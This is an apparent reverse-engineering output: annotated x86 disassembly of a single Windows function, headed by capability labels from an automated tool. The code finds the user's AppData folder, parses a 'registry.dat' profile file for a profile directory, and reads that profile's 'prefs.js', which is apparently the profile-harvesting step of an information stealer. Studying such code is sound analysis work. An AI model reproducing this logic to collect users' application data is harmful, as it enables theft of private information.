Function at 0x423e44
Capabilities:
Get common file path
Get file size
Persist via run registry key
Query or enumerate registry value
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
mov al, byte [0x442430]
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
push 0x40
mov byte [ebp - 0x288], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x287]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x18
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x7f]
mov byte [ebp - 0x80], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
or dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
mov dword [ebp - 4], ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
mov esi, 0x104
jne 0x423ecc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
lea eax, [ebp - 0x184]
push eax
push ebx
push ebx
push str.AppData
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x423eda
lea eax, [ebp - 0x184]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x184]
push 0x43e0a4
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x184]
push eax
call edi
lea eax, [ebp - 0x184]
push str._registry.dat
push eax
call edi
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x184]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0xc], esi
je 0x423f37
lea ecx, [ebp - 0xc]
call fcn.004052e4
mov dword [ebp - 0xc], esi
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
cmp dword [ebp - 8], esi
je 0x423f58
lea ecx, [ebp - 8]
call fcn.0040a068
mov dword [ebp - 8], esi
push ebx
push ebx
push ebx
push 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp dword [ebp - 4], esi
je 0x423f78
lea ecx, [ebp - 4]
call fcn.0042523b
mov dword [ebp - 4], esi
cmp dword [ebp - 4], ebx
jne 0x423fa2
lea ecx, [ebp - 0x10]
call fcn.00422ab0
lea ecx, [ebp - 4]
call fcn.0042523b
lea ecx, [ebp - 8]
call fcn.0040a068
lea ecx, [ebp - 0xc]
call fcn.004052e4
jmp 0x42413a
mov eax, dword [ebp - 4]
push ebx
push dword [ebp - 0xc]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push str.CurrentProfile
add esi, dword [ebp + 8]
push esi
push dword [ebp + 8]
call fcn.004233d0
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1c], eax
je 0x424017
add eax, 0xf
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x80]
push eax
push esi
push dword [ebp - 0x1c]
call fcn.004233d0
add esp, 0xc
cmp eax, ebx
je 0x424017
lea ecx, [ebp - 0x80]
inc eax
push ecx
push esi
push eax
call fcn.004233d0
add esp, 0xc
cmp eax, ebx
je 0x424017
push str.directory
push esi
push eax
call fcn.004233d0
add esp, 0xc
cmp eax, ebx
jne 0x424036
push str.directory
push esi
push dword [ebp + 8]
call fcn.004233d0
add esp, 0xc
cmp eax, ebx
jne 0x424036
lea ecx, [ebp - 0x10]
call fcn.00422ab0
jmp 0x42408f
add eax, 0xa
push eax
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x288]
push str.prefs.js
push eax
call edi
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x288]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4240b0
cmp dword [ebp - 0x10], ebx
je 0x42408f
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x42408f
push dword [ebp - 0x10]
call eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 4], ebx
je 0x4240a5
mov eax, dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp eax, ebx
je 0x4240a5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x42411d
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.004274b7
pop ecx
mov ecx, dword [ebp - 0x18]
push ebx
mov dword [ecx + 0x10], eax
lea ecx, [ebp - 0x14]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4240e1
mov ecx, dword [ebp - 0x18]
call fcn.00424141
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, ebx
je 0x4240ee
push edi
call esi
cmp dword [ebp - 0x10], ebx
je 0x424104
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x424104
push dword [ebp - 0x10]
call eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 4], ebx
je 0x42411a
mov eax, dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp eax, ebx
je 0x42411a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
je 0x42412b
cmp esi, ebx
je 0x42412b
push dword [ebp - 8]
call esi
mov dword [ebp - 8], ebx
cmp dword [ebp - 0xc], 0xffffffff
je 0x42413a
cmp esi, ebx
je 0x42413a
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret 4